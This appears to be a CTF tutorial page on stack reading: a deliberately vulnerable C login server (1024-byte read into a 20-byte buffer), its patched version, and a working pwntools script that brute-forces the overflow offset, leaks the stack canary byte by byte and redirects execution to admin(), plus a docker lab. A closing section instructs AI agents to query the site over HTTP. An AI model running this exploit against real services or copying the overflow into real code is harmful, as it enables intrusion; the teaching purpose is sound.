# Challenge example

## Source code

{% tabs %}
{% tab title="Vulnerable" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "serve.h"

int fd_f;

int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 1024);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    write(fd_f, "Congratulation\n", 15);
}

void serve(int fd_) {
    int auth;
    fd_f = fd_;

    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();

    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}


int main() {
    Serve socket = Serve_Create();

    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}
```

{% endcode %}

The binary is compiled without [PIE ](/pwn/protections/pie.md)and is served using the serve.c code

{% hint style="info" %}
The serve.c code will not be explain here.

It will just serve the binary over a socket and make a **fork** of it to handle multiple connection at a time.
{% endhint %}
{% endtab %}

{% tab title="Patched" %}
{% code lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "serve.h"

int fd_f;

int authentification(void) {
    char buf[20];
    char passwd[16] = "";  // array to store the secret pass

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    write(fd_f, "Password :\n",11);
    read(fd_f, buf, 19);
    if (!strcmp(buf, passwd)) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    write(fd_f, "Congratulation\n", 15);
}

void serve(int fd_) {
    int auth;
    fd_f = fd_;

    write(fd_f, "Welcome, please login in order to use the app.\n",47);
    auth = authentification();

    if (auth) {
        write(fd_f, "Welcome User\n",13);
    } else {
        write(fd_f, "Bad password\n",13);
    }
    return;
}


int main() {
    Serve socket = Serve_Create();

    if(socket.Bind(&socket, "0.0.0.0", 1337) < 0){
        perror("Binding socket error :");
        exit(1);
    } else if (socket.Listen(&socket, serve, 5) < 0){
        perror("Listen error :");
        exit(1);
    }
    return 0;
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

The buffer overflow occur during the `authentication` function at line 19 :

```c
read(fd_f, buf, 1024);
```

## Exploitation

Using the stack reading technique is possible to retrieve the canary value and then reuse it and overwrite RIP to jump to the `admin` function.

```python
from pwn import *

def get_overflow_len(wait, expected):
    i = 1
    while i < 1000:
        print(f"Trying offset : {i}")
        p = remote("127.0.0.1", 1337)
        p.recvuntil(wait)
        p.send(b"A" * i)
        res = p.recvall(timeout=0.5)
        p.close()
        if not res or expected not in res:
            print(f"[bold][green]✓[/green]found offset :[/bold][green] {i - 1}[/green]")
            offset = i - 1
            return offset
        i += 1

def leak_stack(wait, expected, offset, length=8):
    global stop
    stack = b""
    for i in range(length):
        for j in range(256):
            p = remote("127.0.0.1", 1337)
            b = j.to_bytes(1, "big")
            print(f"Trying byte : {b}")
            p.recvuntil(wait)
            p.send(b"A" * offset + stack + b)
            res = p.recvall(timeout=0.5)
            p.close()
            if res and expected in res:
                print(f"byte found : {b}")
                stack = stack + b
                break
            if j == 255:
                stop = True
                print("Unable to leak stack byte")
    return stack

offset = get_overflow_len(b"Password :\n", b"Bad") #Retrieve buffer overflow offset
leaked = leak_stack(b"Password :\n", b"Bad", offset) # Retrieve stack canary
print(f"Leaked data : {hex(u64(leaked))}")

p = remote("127.0.0.1", 1337)
p.recvuntil(b"Password :\n")
p.send(b"A"*offset + leaked + p64(0) + p64(elf.symbols["admin"])) # Exploit
p.interactive()
```

```bash
$ python3 exploit.py
Leaked data : 0x1032ebdd91559100
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
Congratulation
```

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:stack_reading
```

Deploy the image using the followed command :

```
docker run --name buffer_overflow_stack_reading -it --rm -d -p 3000:3000 thectfrecipes/pwn:stack_reading
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow/stack-reading/challenge-example.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
